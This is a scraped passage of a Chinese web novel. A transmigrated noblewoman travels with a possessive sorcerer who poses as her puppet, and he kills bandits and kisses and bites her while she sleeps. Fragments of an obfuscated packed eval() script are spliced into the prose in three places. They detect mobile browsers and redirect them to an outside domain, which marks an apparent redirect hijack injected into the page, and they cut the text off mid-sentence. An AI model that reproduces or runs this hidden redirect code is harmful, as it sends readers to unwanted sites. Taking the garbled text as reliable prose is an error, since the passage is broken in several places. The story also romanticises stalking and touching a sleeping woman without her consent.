《限制文的病娇苗疆少年》 1. 第1章 春末夏初的微风穿堂而过,室内薄纱轻幔轻轻摇曳,熏香暖融,勾出几分慵懒寐意。 “唔,好热呀……” 一声含混的呓语惊醒一室寂静,只穿小衣的少女翻了个身,细密的汗珠缀在如玉的肌肤上,双颊泛着淡淡的粉红。 就在她无意识蹭着锦褥寻凉时,一抹微凉忽然贴了上来。 触感沁着舒服的凉意,却又柔软,迷糊中伸手探去,指尖划过某种细致纹路,随之响起一阵清碎银铃般的细响。 她正想贪凉地偎近,凉意却忽然缠拢上来,如藤蔓环抱,将她轻轻圈住。 有什么微凉柔软的东西贴上她的颈侧,她禁不住轻轻一颤。 宁瑶下意识想翻身躲开,却被一只有力的手扣住了后脑,手腕被什么牵住,动作霸道,依旧留给她最舒适的姿势。 像被困在一堵微凉的墙,她逃不开,也挣不脱。 这已是宁瑶第二次做这样的梦。 醒来时她还有些昏沉,眯着眼懒懒舒展了一下身躯,陡然发现一道身影正守在她的榻边。 那是个极漂亮的少年,眉眼昳丽胜精魅,一身深蓝异域装扮平添诡谲艳色。银饰自耳垂垂下,随光线流转熠熠生辉,平添几分不羁之气。 她懒散眸光掠过傀儡颀长的身量,宽肩窄腰,腰链坠下,腰间束腰佩挂着一枚四角铃铛。 少年垂眸看她,眼底藏着未散的暗色,长睫卷翘如蝶翼,如玉面颊上投下淡淡阴翳。 银饰泛着细碎的光,嘴角勾着恰到好处的温良无害的笑容。 “主人,你醒了?”他低声问。 宁瑶刚睡醒的眼花了一瞬,她方才瞥见铃铛上似有一只活蜈蚣爬过,黑亮多足。小心翼翼转眼再看,却又踪迹全无。 自己吓自己,一个全新的傀儡怎么可能钻虫子。 这里修真界可没有投诉平台。 “嗯,”宁瑶还带着刚睡醒的鼻音,“你来多久了?” “不久。”少年的话语简洁,漆黑的瞳仁如墨,直盯盯地望向她。 他多数时候会如此刻一般,沉默地,立于床畔守着她,在她醒来时第一眼便能瞧见。 她坐起身伸手拈起少年一缕小辫,墨色发丝自中部渐染成幽蓝,编作数股小辫束成半扎的高马尾,其余的随意垂落。 其发丝间缀着大小不一的银金色小铃铛,随着宁瑶凑近撩拨的小动作,叮咚作响。 她努力回忆,梦中似乎萦绕过这样的声响,又似乎没有。 祁淮的目光掠过宁瑶拨弄发丝的手指,纤细修长,指甲是天然健康的粉,圆润饱满。 那动作像极了一只拨弄线团的猫,带着天生的慵懒和好奇。 真乖。 他微不可察地歪了歪头,发间银饰轻晃,铃音细碎。 宁瑶忽然想起刚找回前世记忆那会儿,这具傀儡被送到她眼前。 推开沉重棺木那一刻,她突然悟了。 为何失忆后的自己会痴迷于原男主洛子晟。 ——没办法,没点别的爱好,就是有点颜控。此等绝色美男摆在眼前,谁能忍住不多看几眼? “再靠近些。”她轻声开口。 “傀儡”少年依言单膝跪地俯身靠近榻边,安静地任由她的白皙温热的指尖勾住他一缕发尾,轻轻把玩。 这么近她能听到傀儡忽快的心跳声,真怕给傀儡逗坏了。 还不舍得这么快报废了。 细看傀儡容貌与原男主洛子晟足有十分相似,且更精致三分。 只是,傀儡只愿意赤足行走。她送了几双布鞋,他苏醒时总会遗忘此事,不免带了几分与“人”不同的违和。 不过,他毕竟是个傀儡啊,再怎么精致好看,也只是一个死物。 宁瑶托腮抬眸瞧着他,打了个哈欠,心底泛起了嘀咕。 制作祁淮的傀儡师,莫非有什么特殊癖好? 指尖已不由自主抚上少年的脸颊。玩心大起,指尖从傀儡额际一路若即若离地滑至白皙锁骨。 贵果然有贵的道理,这具傀儡简直栩栩如生。不愧是她花重金买下的。 宁瑶真没忍不住又戳了戳柔软的面颊,触感细腻微凉,弹性十足。 一张脸美得雌雄莫辨,叫人生出揉搓把玩在股掌之中的快意。 多是原先自己的情绪作祟,宁瑶收敛心神,笑着瞧着这张脸,心底莫名暗升起一股怨气和得意。 她轻笑低声道:“祁淮,你去准备唤青栀进来为我更衣洗漱。” “主人,我也可以。” 少年抬眸看向少女嘴角浅笑,星眸皓齿的动人姿色,穿着藕荷色锦缎小衣,如墨长发随意倾泻在身后。 身后还有一双光洁的小脚时不时微抬摇晃,白的晃眼,如一捧雪。 他的目光不经意般追随着她,却又郑重地重复了一遍:“我可以。” “听到啦。” 这是傀儡少年第一次向她提出“请求”。 宁瑶半支起身,挑眉打量他,“你真的会?可别骗我。” 祁淮唇角轻扬,指尖轻轻点上她托腮的手腕。一丝微凉的触感蔓延开来,他眸底漾开幽深的涟漪,像是无声蔓延的藤蔓,想要将她每一寸都悄然染上自己的气息。 “不骗你。”他笑起来依旧无害,标准得让人挑不出错的笑容。 宁瑶狐疑地瞅他。 万一笨手笨脚弄疼她了怎么办? “好吧,那你试试。”宁瑶侧过身去,又忍不住回头叮嘱,“梳理青丝轻点啊,我可最怕疼了。” 说完这话宁瑶自己也微微语塞。 谁叫她穿进了这本未看完的限制文,成了书中爱而不得的恶毒女二,好歹得有点女配的待遇。 世人皆知羽安国“宁府”富可敌国,且是皇亲贵胄。羽安国的六公主嫁入宁府,宁瑶自出生便御赐封号:安宁郡主。 本该荣宠万千,偏偏是个空有美貌的五灵根废柴。 生母早逝,父亲续弦。继母王氏撺掇欺瞒,竟养出个刁蛮要强的性子。 皇帝舅舅听闻她诸多传言,都睁只眼闭只眼。只要不捅破天,总有人为宁瑶兜底。 若非她失忆前实力不济,不知道能惹出多少祸事。 宁瑶随手点了件鹅黄锦缎长裙,少年指尖几不可察地一颤,指腹捻过衣料时,不经意擦过她颈下被遮掩的红痕。 他垂着眼,仔细替她系上衣带,高大的身影笼罩下来,几乎将她整个人都笼罩着裹进怀里。 少年动作很轻,那双漆黑的瞳仁静得如同深潭,可她偏偏瞧出了一丝专注。 她被引到铜镜前坐下,眼波一转,懒洋洋瞧着镜中正为她编发的少年。 他修长的手指穿梭在她的发间,轻柔又灵巧,一缕缕青丝在他掌心服帖地绾成小辫。 没有被牵扯的疼,宁瑶舒服得眯起眼,忍不住打了个哈欠,身子一软靠向椅背,任由他摆弄,自个儿闭上眼。 她却不知,身后那双眼睛始终未从她身上移开。 “傀儡”少年悄无声息地俯身靠近,呼吸压得极轻,温热的鼻息掠过她发顶。 宁瑶身上淡雅的香气幽幽飘来,他目光慢悠悠掠过她肩头,最终定格在镜中那张恬静的睡颜上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489851|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 心脏没来由快了一拍,像被这缕香取悦了般,滋生出一点病态的满足。 他唇角弯起极淡的弧度,手中鹅黄色的玉兰珠花轻轻簪入她的发间。目光下落,饶有兴致地端详着她打盹的模样。 就在这时,一条两指粗的黑蛇自他袖口游出,顺着手腕缠上冷白修长的指节。鲜红蛇信即将触到宁瑶发丝的刹那,却被祁淮一把攥回。 他指节发力扣住蛇颅,眼底霎时沉冷如渊,面带冷笑,瞪它一眼。 黑蛇委委屈屈地晃了晃脑袋。 它试探性地凑近,小心翼翼蹭了下宁瑶的发梢。 正打盹的宁瑶一动,像是察觉什么般蓦地回头,四下张望却未见异常。 又是这样。 每当她醒来,总错觉有一道目光如影随形,藏在暗处紧紧注视着她。 “好了,主人。”清朗如玉的声音适时响起。 当她的视线转来的瞬间,祁淮眼底飞速掠过一丝难以捕捉的满足。 宁望向镜中鹅黄的身影,一身鹅黄色锦缎,项带长命锁金圈,发髻金簪珠花极为相配,铜镜中映出一张姣好容颜。 三分亲和,五分娇纵感,瞳仁泛着一丝浅棕茶色,眼尾上扬又添两分魅惑。 她眼睛倏地一亮,眸光亮如繁星:“这么好看!你们傀儡的手都这么巧吗?” “主人过奖了。”祁淮微微俯身,发髻保持着恰到好处的距离替她扶正玉兰珠花,“并非个个如此。” 未尽之言,似有诱哄她开口。 她抿唇一笑,没再多问。从容起身,理了理鬓边发丝,确认全身上下无一不妥,这才推门而出。 客栈天字号房外,武婢青栀已静候多时。 她一袭利落青衣,袖口紧束,眉目清冽,一身绣纹却繁复精细,不像寻常侍女。 见宁瑶出来,她低头禀报:“小姐,早膳备好了。”出门在外,不便以真实身份相称,她便唤宁瑶为“小姐”。 宁瑶含笑望向她。 这是原著中对她忠心不二的武侍,公主娘亲离世前留下的最后心意。 思及此,宁瑶眼神软了软,“走吧。” 她款步下楼,青栀与祁淮一左一右随在其后。 “青栀,距皇城还需多久?” 宁瑶懒洋洋落座,接过祁淮递来的茶饮了一口。 青栀见自己手中的茶无人来接,怔了怔,目光掠过祁淮,当作若无其事地收回来自己饮下。 “还需经过两座城池,途中必经儋城。听闻近日有凶兽出没,若改道需多耗三日。” “暗线传来消息,天道宗收徒大典在即,他似乎也会去。”宁瑶放下茶盏,语气轻松,“我们改道,去天道宗。” “小姐,往天道宗必经过儋城。”青栀轻声提醒,“还去吗?” “去。” 宁瑶揉着突突直跳的太阳穴。 出门时本以为一个傀儡能贵到哪里去? 谁知那傀儡师偏藏在这等鸟不拉屎的地方交易,她一个上头,万金之财砸下去,连灵船都抵给了对方。 ——偏偏觉醒记忆是在一切已成定局之后。 若早一点,哪怕早一点啊,她都能砍砍价,而不至于一看这“定制手办”就冲动拍板。 她正悻悻咬下一口干饼,现下只能感慨,荒郊野外,他们能有这样一处避风雨的客栈已属不易。 粗茶淡饭,她也吃得自在。 一阵狂风猛地卷过,盘中饼子差点全飞走。 客栈大门被人“砰”地一脚踹开,十几名彪形大汉闯了进来,两块门板摇摇欲坠。 2. 第2章 几名彪形大汉闯进门来,踹翻了近处的几张木桌,客栈里顿时乱作一片。 这群马贼少说也有二十余人。 店内本就不多的十来个客人吓得缩成一团,掌柜和小二早躲到了柜台后面,拼命比划着手势示意众人噤声。 “把钱财都交出来!”为首的马贼厉声喝道,“交不出的,死!” 一个大汉揪住跑得最慢的文弱书生,手起刀落,鲜血喷溅的刹那,几声短促的惊叫被掐断在喉咙中。 “小姐,当心。”青栀压低嗓音,将宁瑶护在身后又退了几步。 宁瑶心跳如擂,下意识摸向腰间的玉佩。赶忙咬了两口饼子塞进嘴里,嘴慢无。 动作慢,就要吃亏了。 二十多个人,以多欺少。 她左右一张望,见祁淮不知何时已经漫不经心地朝她这儿挪了几步,恰好将她的身影遮得严严实实。 宁瑶从他肩后悄悄探出半个脑袋,小声问:“青栀,你打得过吗?” 青栀是练过武的练家子,如今已是练气三层。 她扫过马贼中的几个修炼者,察觉对方修为高出自己不少,再加上人多势众,她悄然握紧了本命长剑。 “可一试。若是一会动起手来,你这个傀儡找机会带小姐先走。” 祁淮懒洋洋地掀了掀眼皮,指尖漫不经心地摩挲着腰间的四角铃铛。辫子上铃铛随着他歪头的动作叮当一声。 没有开口,只当应答了。 “青栀,我们先交钱,多一事不如少一事。” 沉甸甸的荷包塞进负手而立的祁淮掌心,宁瑶用眼神示意他送上前,悄悄地拉着青栀退后一步。 感受她指尖无意中划过自己微凉的掌心,垂眸凝视那一点转瞬即逝的痕迹,唇角无声地勾起,眸光暗自注意到她们后退的小动作。 祁淮漆黑的眼底暗流涌动,偏头来轻挑了下眉梢。 马贼头子见一群人吓得魂不附体,正哈哈大笑,目光扫过人群时猛地定格在三人身上。 容貌实在太出众,想不注意都难。 角落中身形极力掩藏,两人将背后一抹鹅黄身影护在身后,衣料一看就价值不菲。 “你们两个滚开。藏了什么好东西,让老子瞧瞧。” “离我家小姐远点。”青栀长剑出鞘,格开那只探来的脏手,当即与之缠斗在一处。 马贼们顿时围拢过来,对两人形成包围之势。 宁瑶无处可退,祁淮纹丝不动地站在原地,索性整个人躲在他身后。 这个护卫傀儡的实力深浅不知,她忍不住拽了拽他的衣角,“你实力如何?” 祁淮还未作答,就被一声暴喝打断,顿时不愉。 眼波深处满是晦暗不清又浓烈的杀机,视线轻飘飘在马贼头子身形暗沉一瞬。 剩下马贼顿感胜券在握,一拥而上。客栈里顿时乱成一片,人人自保。 见马贼头目实力强横,青栀已是勉力支撑缠斗,宁瑶趁乱欲先能救人再奔逃。 “找机会救人,祁淮。” 祁淮摸了摸腰间铃铛,侧眸望着宁瑶的身影,眼底掠过一丝不解。 救? 全杀了,不就清净了。 宁瑶指尖刚触到腰间玉佩,两枚钢珠球大小的玄黑球体便悄然滑入掌心,这是她亲手改良的修真界“惊雷珠”。 正欲扬手掷出,奔逃的人群猛地撞上她肩头,她踉跄半步,珠体脱手飞出的刹那,一只冰冷的手突然自背后狠狠推了她一把。 “抓住她,快抓住她!”有人企图祸水东引以求活命,话音未落,便已身首异处。 宁瑶眼看要摔倒,她只觉得眼前一花,脱手的惊雷珠爆炸,爆炸声她怔怔抬眸时,撞进祁淮幽深的眼底。 一只微凉而宽大的手扶住了她,银铃在她耳畔清脆一响。 手指轻滑过她手腕的肌肤,温度若有似无,声音却带着几分漫不经心的笑意:“主人,要我救人吗?” 说话间,他视线懒懒扫过青栀,仿佛不过是在问今日天气如何。 宁瑶点头,尚未答话,马贼头目已击退青栀,转而目光淫邪地将宁瑶上下打量:“果然是个美人胚子,不如跟老子回去做压寨——” “闭嘴。”宁瑶蹙眉打断。 她话音刚落,祁淮已鬼魅般掠至他身前。 “咔嚓”一声极轻的脆响,伴随发辫铃铛声。 马贼头目甚至来不及发出半点声响。 最后映入眼中的是那张雌雄莫辨的俊容上仍挂着一抹温良浅笑。 少年漫不经心地松开五指,头目双目圆睁,“咚”地一声倒地。幽深的视线瞧着他滑倒的尸身俯下身,唇角弯起极浅的弧度,声音凉如寒泉: “为什么要打断她说话呢?嗯?” ——该死。 头目临终前的最后一个念头:原是祸从口出。 宁瑶瞳孔微缩,心底骇然。 护身傀儡的实力,竟远比她想象的更为可怕。 下一刻,一阵阴风毫无征兆地卷入客栈。 宁瑶被风吹得衣袂猎猎作响,几乎站立不稳。 四周惊叫四起,桌翻凳倒,混乱间却似有一阵极细微的窸窣声从远及近。 “闭上眼,主人。” 微凉的掌心忽地覆上她的双眼,视野骤然一暗,身后贴来一道熟悉的温度。 祁淮低语时,唇瓣似有若无地擦过她的耳畔,又粘稠蛊惑,又似清风。 风中弥漫的血腥气愈发浓重,响起令人牙酸的啃噬声。 宁瑶忍不住从祁淮指缝间偷瞧一眼,顿时骇得屏住呼吸,下意识往他怀里动了动。 我去。 这么多的蛇虫,这里马上要变成什么昆虫博物馆吗? 满地蛇虫正蠕动着爬过马贼的尸身,所过之处只余森森白骨,泛着幽冷的光。 一条碗口粗的白蛇倏然游至她脚边,冰凉的鳞片似擦过她的绣鞋,惊得宁瑶提裙退后一步,脊背不经意间贴合在祁淮怀中。 银饰轻撞发出细响。 祁淮呼吸一滞。 熟悉又清甜的暖香又一次漫入鼻腔。 他垂下眼帘,目光从她柔软的发顶缓缓游移,最终落在他亲手为她编起的细辫上。 抬手重新遮住她的的眼睛,掌心清晰地感受到她睫毛像蝶翼般轻颤,一下又一下,挠得他心底发痒。 掌心微微用力,完全将她纳入自己怀中化作所有物,喉结滚动,似在低哑的轻哄:“别怕。” 说着一个漆黑又寒意的眼风扫去,白蛇竟通灵般盘起身子,冲宁瑶摇了摇蛇尾,旋即爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489852|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走消失在客栈门外。 宁瑶惊魂未定,拽住身前少年的衣袖,拿下他的手追问:“方才为何不出手?” “主人未言,我便不动。” 宁瑶若有所思地眨了眨眼。 原来“傀儡”不是不救,是只肯听她的话才动。 意识到两人贴地太近,宁瑶一步便走出少年保护范围,眼上一松,又见光亮,她提裙赶紧抽身离开,弯腰去扶昏迷的青栀。 无人瞧见的“傀儡”腰间银铃无声自颤,瞧着自己空落落的掌心,似有余温未散,握拳企图回味最后的温度。 他眼底掠过一丝阴郁的暗光。 这间破旧客栈里,除了掌柜缩在柜台后跌坐呻吟,其余人逃的逃,死的死。 宁瑶扶住脸色惨白昏迷的青栀,抬头急问:“掌柜,最近的大夫在哪寻?” 掌柜大腿洇着血,瘫坐在地上,嚎得两嗓子才说:“翻过后面那座山就是小镇,可我这腿也受了伤,天杀的麻子竟丢下我跑了。小姐公子行行好,后院还有辆马车,带我一道走吧。” 祁淮转身往后院去,不过片刻,他悄无声息地回来,小声回答:“主人,车备好了。” 四人驾着马车颠簸蹿过山路,抵达小镇时已是暮色四合。 老大夫替掌柜与青栀包扎完毕,又皱着眉转身对两人道:“这位姑娘腿伤太重,若不寻来再生丹续接经脉。即便老夫正骨,日后也姑娘难免落下病根,修为再难精进。” 宁瑶捏了捏荷包里仅剩的银两,一咬牙:“得送青栀回皇城治腿。” 青栀恰好醒来,睫毛颤了颤,攥住宁瑶衣袖摇头:“不可,小姐。路途尚且艰难,怎能再为我花费……” “听话,”宁瑶掰开她的手指,语气却软下来,“你回皇城不是闲着,替我盯紧王氏那对儿女。他们往日下的绊子,我可都记着呢。” 限制文里王氏一双儿女给她下了不少绊子,现下逃离宅院剧情,总是盯紧些为好。 青栀本不愿作为宁瑶的拖累,这下有了重要事情吩咐,对回去不再抵触。 宁瑶将大半银两塞给大夫,又安排雇了辆马车,嘱托车夫速送青栀回皇城。 转身时一枚碎银塞进祁淮掌心,宁瑶一双亮眸眨了眨:“放心吧,够咱们撑到儋城的钱庄,我不会省你吃喝的。” 见宁瑶乐观模样,青栀抿嘴一笑,眼底满是光亮,“小姐,我定不负嘱托。” 祁淮默不作声收拢手指,目光掠过宁瑶的侧影,一条小蛇盘在白皙到透出血管的手腕,又飞速爬回。 他安抚在铃铛拂过指尖,四角铃无声地晃了晃。 宁瑶挥手送别马车逐渐离去,不舍地收回眸光。 现在身边只剩下个闷油瓶的“傀儡”了。 她虽不是个话唠,毕竟身边没了人,总是难免有些寂寞。这是她第一次离开了熟悉的人,身处陌生的环境跟随陌生的……甚至不能算作人的“傀儡”。 不过好在少年听话。 似注意到少女投来的微妙眼神,祁淮暗自靠近她半步,眸底是深藏不露的雀跃,“主人?” 如今只剩下他们二人了。 宁瑶眸光悄然流转在祁淮的脸颊,决定暂时先原谅世界一秒。 毕竟这么好看的一张脸,又……还会照顾她,保护她。 3. 第3章 宁瑶脚步轻快地朝前走,“走吧。”回眸一笑,试探性问道,“祁淮,你实力到底有多好。” 她不信一个“傀儡”会对她隐瞒底细,但难保傀儡师会不会令他们不完全效忠了。 毕竟是说不准的…… 祁淮眼尾微扬,唇角扬起温良无害的浅笑。他忽地凑近一点,温热气息拂过宁瑶敏感是的耳尖。 宁瑶似有所感侧眸,身侧已是在她不注意时重新负手站立的少年。 他声音压得极低:“金丹以下,无敌手。” 宁瑶眼睛一亮,心里拍手叫好。 ——这钱花得可真值啊! “这一路,你可要好好保护我。”宁瑶心情大好,脚步轻快,带他往马市方向走去。 祁淮落后一步跟着她,目光却一瞬不瞬地凝在她白皙的后颈上。 ——真是只活泼又漂亮的小猫。 宁瑶浑身一僵,疑惑地环顾四周。 方才那一瞬间,仿佛被什么蛰伏的野兽盯上般,让她后背发凉。 视线粘稠而隐秘,带着近乎侵略性的意欲,似蛇般缠绕在她身上。 可她回过头,却只看见安静跟在身后的“傀儡”少年。 “真是自己吓自己……”小声嘀咕,她加快了脚步。 生怕再节外生枝,她飞快地买了两匹快马。二人连夜赶路,一连翻过两座山头。 夜色渐浓。 他们终究没能赶到下一处客栈,只得在一处荒废的野庙暂歇。 庙内蛛网盘结,梁上灰尘簌簌,隐约还能听见窸窣的虫蛇爬行声。 “真要住这儿?”宁瑶环抱双臂,扫了一眼四周,忍不住打了个寒颤。 夜风穿堂而过,一件雪白的披风轻轻落在她肩上。她不用回首也知道是谁。 叮铃。 微凉的手指轻轻牵起她的手腕。 宁瑶怔怔地抬眸。 祁淮微歪头,指尖不着痕迹地摩挲过她的腕间,带着某种难以言喻的意味。 他引着她走向角落一个还算干净的蒲团:“主人,这里干净。” 他垂下眼帘,遮住眸中翻涌的一丝雀跃。 宁瑶坐下,眼见祁淮沉默地拾柴生火,又用蒲草细心铺了张简易床榻,忍不住歪头打量他:“傀儡师会教傀儡这些?” 少年垂眸,轻声应:“嗯。” 宁瑶凑到草铺前摸了摸,“太冷太潮了,祁淮。”嘴上抱怨着,妍丽的亮眸却望着他。 像只挑剔,却又依赖人的猫儿。 祁淮望着她这般情态,心底莫名有几分笑意。 心里清楚她是在嫌弃湿答答的环境,却觉得她这个模样不厌烦,以往他最厌恶的这般娇气的做派,如今只觉得她娇纵的样子有些说不出的可爱。 他甚至忍不住想伸手,在她转身视线交织前,指腹佯装不经意地摸向腰间四角铃铛。 “给我暖一下床。”宁瑶收回视线,慢条斯理地用手帕轻擦了擦手。 “是。”祁淮躺上草铺,指尖凝起一点灵气,四周窸窣爬动的蛇虫顿时逃得无影无踪。 宁瑶浑然未觉,侧眸来只顾盯着他温顺的侧脸,忽然问道:“傀儡会背叛主人吗?” “绝不。”祁淮答得斩钉截铁,眸中闪过难以察觉的暗芒。 宁瑶被这般郑重的回答怔了一瞬,随即又笑了一声。 真糊涂。 竟会对个死物生出困惑。他再逼真,也不过是她手中最听话的一把刀。 她转身凑近火堆烤手,暖意渐渐驱散了寒意,肚子却不合时宜地咕噜一声。 她从随身玉佩中取出两个香喷喷的烤鸡腿,插上竹签热好了递给他:“傀儡平时都吃灵石?” “嗯,不过这般正常的也行。”他接过鸡腿放在一旁,压下眼底的狡黠。 他解下外袍细致垫好,仰起脸看她:“主人,床暖好了。” 她舒展身子躺下,少年隔了一段距离坐下,慢条斯理吃完鸡腿,又用手帕学着她的模样一丝不苟地擦拭干净手指,才在她身侧躺下。 两人之间隔着半臂的距离,眸光流转,如夜雾般缠上,停驻在拿到倩影起伏的曲线。 宁瑶的呼吸逐渐平稳,一点点坠入梦境。他默数着她的呼吸的频率,直到确认她睡沉,才轻轻地挪动,一寸寸贴近。 他身量高,而她整个人睡姿微蜷,正好被他整个笼罩在怀中。 他手臂环过她的腰,稍稍用力,将她的背贴合自己的胸膛,将人轻轻拢入怀里,力道控制得极稳,既不容挣脱,也克制着不让她感到不适。 宁瑶在睡梦中无意识地抗拒着那股缠上来的“东西”,却被更紧地禁锢。 她迷迷糊糊地挣了挣,一个翻身竟撞进祁淮怀里,以求换个姿势逃离一秒。 祁淮的呼吸骤然一滞。 吐息近在咫尺,他的视线不受控制地落在微张的唇瓣上,浑身血液仿佛在这一刻逆流翻涌。 他眼底翻涌的贪婪,却又在下一刻变作小心翼翼,连指尖都绷得发烫,轻轻吻上她的脸颊。而后仿佛一股电流般穿透全身,呼吸逐渐加重,迷离地加重吻上的力度。 视线沿着轮廓落在她白皙纤细的脖颈,情难自抑地上前啮咬了一口。 很软,似乎像手感最好的猫儿。 宁瑶睡梦中下意识地抗拒害怕,去抓挠脖子上的东西,祁淮的掌心便轻柔地抚过纤细的腰线,像安抚一只熟睡的猫儿般轻拍她的后背。 她这才作罢,寻了舒适的姿势,小猫似的蹭了蹭,无意识地嘤咛一声。 汲取察觉出微凉中犹带暖意的温度,宁瑶迷迷糊糊地循着温度凑近了几分,额头轻轻抵上少年的下颌。 呼出的温热气息,尽数洒在他的颈窝。 祁淮此刻身形蓦地一僵,眸中掠过一丝难以察觉的喜色,微微放松,依着她寻找舒适的姿态。 他的唇不经意地擦过她的脸颊肌肤,试探又极为满足。 她身上是他闻过最特别,最令人心安的气息。 自她小心翼翼推开棺木一角那刻起,比声音更先抵达的,就是这缕馨香。 比他在山野间遇到任何花香,都要好闻。 宁瑶做了梦,梦见了她初见傀儡少年祁淮的那一日。 一个等人高的木匣突兀地立在山野之中,匣身镶嵌的幽蓝色水晶中隐约有灵光流转,透着说不出的诡异。 宁瑶伸手轻抚匣身,却被粗糙的木刺扎破指尖,一滴血珠倏地落在木匣表面。 下一刻,木匣竟如同活物般将血珠吞噬得干干净净。心头一跳,她暗道不好,慌忙后退半步。 此时木匣传来一声突兀的脆响,骤然四分五裂,木屑飞溅。 随后赶来的青栀却迟了一步。宁瑶手背已被飞屑划开一道血口,殷红血珠自指尖滴落,地面绽开点点红梅。 “小姐当心!”青栀迅疾撑开一柄红纸伞挡在宁瑶身前,待烟尘散尽后,眼前只剩一口深黑的棺材。 “装神弄鬼……”她壮着胆子上前,小心翼翼地将棺材板推开一角。 刹那间,一只骨节分明的手自棺内猛地伸出,扣住了她的手腕。 手掌微凉有力,不似正常人的体温,比较偏低。 下一秒,似有什么湿软温热的东西轻轻舔过她手背的伤口,带来违和异样的濡湿感,惊得彼时掀开棺材盖的宁瑶脚下步伐一乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你的苏醒,你的存在,因我而生,”宁瑶望入他深不见底的瞳仁中,一字一句,“我既花重金买下你,你的使命唯有一个——” “听我的,守护我。” 四目相对,时间仿佛在这一瞬凝滞。 宁瑶指尖微微一颤,意识到眼前这人不过是个“傀儡”,不一定听明白她的意思。 她正打算换种方式开口,却见少年毫无征兆地握住她的手腕,低头将温软的唇覆上她手背的伤口。 湿热粉嫩的舌尖轻轻舔过,卷起血珠咽下。 抬起眸偏头看她,发间银饰叮当一响。 “你做什么?” 她如遭雷击,瞳孔轻颤,触电般想抽回手,却被少年攥得更紧。 少年垂着长睫,神情专注得像在完成什么仪式。指尖力道却大得骇人,仿佛攥住的不是她的手腕,而是她的命门。 “‘傀儡’需要的,主人。”祁淮答的随意。 梦境到此,戛然而止。 她睡得并不踏实。 梦境总绕不开一双摄人心魄的黑眸,如同幽潭般深不见底,却带着钩子,一次次撞进她的意识里。 她无意识地辗转,呼吸渐渐急促,长睫轻颤,俨然是即将醒来的征兆。 一道凝视着她的目光沉了下去,低声喟叹。 “时间……还是太短了。” 下一瞬,宁瑶猛地睁开眼。 破庙里光线朦胧,她迷迷糊糊地伸手往身旁一探——是空的。 还残留着未散的暖意。 奇怪…… 她昨晚睡相不好,难道是滚进祁淮怀里去了? 心里正嘀咕,想收回的手指尖猝不及防地触到一片细滑的肌肤。 她下意识翻身,对上一张近在咫尺的睡颜。 呼吸几乎停止一刹。 4. 第4章 少年闭目安静躺着,鼻翼几乎要与她的相触,卷翘的长睫投下浅浅阴影,五官精致得不像假人。 唯有微微起伏,不似常人心跳的胸膛,证明着他是一具傀儡罢了。 他睡得正沉,闭着眼时安安静静,如一尊不染一尘的神像。 拜这张脸所赐,她心中腾升起几分满意。 白皙温热的指尖,从这张熟悉又陌生的面容额角,一路下滑到下颌,指尖一转轻勾,下一秒长睫微颤,对上一双漆黑瞳仁。 眼神幽暗深邃,似翻涌着看不懂的情绪,这般稍纵即逝,她只当错觉。 转念微顿,她眨了眨眼,凑近祁淮笑出声来。望着祁淮起身后不着痕迹向自己倾斜的小动作,忍不住抬眸好奇问:“傀儡也需要睡觉?” “偶尔也需要休息。” 祁淮目光不动声色地轻扫过她面上的神态,方才闭眼后退的速度已够快。 她自然未发现什么…… 现下撞进一双笑意盈盈的明眸里,他呼吸微微一滞,心底有些被取悦般的悸动。 他情不自禁地又靠近些许,身形向前倾得微妙,面上依旧波澜不惊,眸底深处压着一丝晦暗的贪恋。 宁瑶转念一想,哪怕是最精密的仪器,也得定期养护,何况他是个“傀儡”呢? 颇为理解地点点头,伸了个懒腰站起身。 “那好吧,你再休息会儿,”仔细理了理衣裙,确认并无失礼之处,才脚步轻快地穿过林间走向河边。俯身对着水面整理梳洗时,瞥见手腕上一处隐约的红痕。 “这是……” 她揉了揉,大概是荒郊野外的蚊虫咬的,并没多在意。 待她转身后,河水突然翻涌,数道河草如活物般缠上她的脚踝。 一只蓝蝶从河面上翩跹飞过,似被惊动跌入河水中。 “什么东西!?” 宁瑶挣扎,自玉佩中取出匕首狠狠向河草斩去。哪知那看似柔软的水草竟坚韧异常,寻常刃器难伤丝毫。 注意到这一点,宁瑶咬咬牙,掷出一枚惊雷珠,“轰”地一声水花四溅,炸出三米高,顿时激怒水底的东西。 河水汹涌波浪,一道影子跃出水面的那一刻。格挡开她丢来的惊雷珠,一把将想要逃走的宁瑶拽进冰冷的河水。 寒意刺骨,瞬间裹住全身。 宁瑶入水的刹那呛了水,剧烈咳嗽。昏暗河底全是长满水藻的白骨,游鱼穿行其中。 拼命向上挣扎,奋力地往水面游去,却难敌脚踝上那道强大的力量,将她死死拖向黑暗的河底…… 记忆如一道刺目的白光闪过,一段被遗忘的记忆骤然涌入脑海。 记忆中的她强撑起身子,鹅黄色缎衣紧贴肌肤,锦缎鞋面沾着淤泥污渍。 顾不得苍白的脸色,她一双亮眸续满了难以置信,亮得骇人,死死咬住花船上众星捧月的两人不放。 “洛子晟,你护着她?”宁瑶压抑的声音喑哑哽咽,划破刺骨寒风,“我呢?我算什么?洛子晟和你青梅竹马,两小无猜的是我,和你定有婚约的是我。” “你与我,婚约解除。” 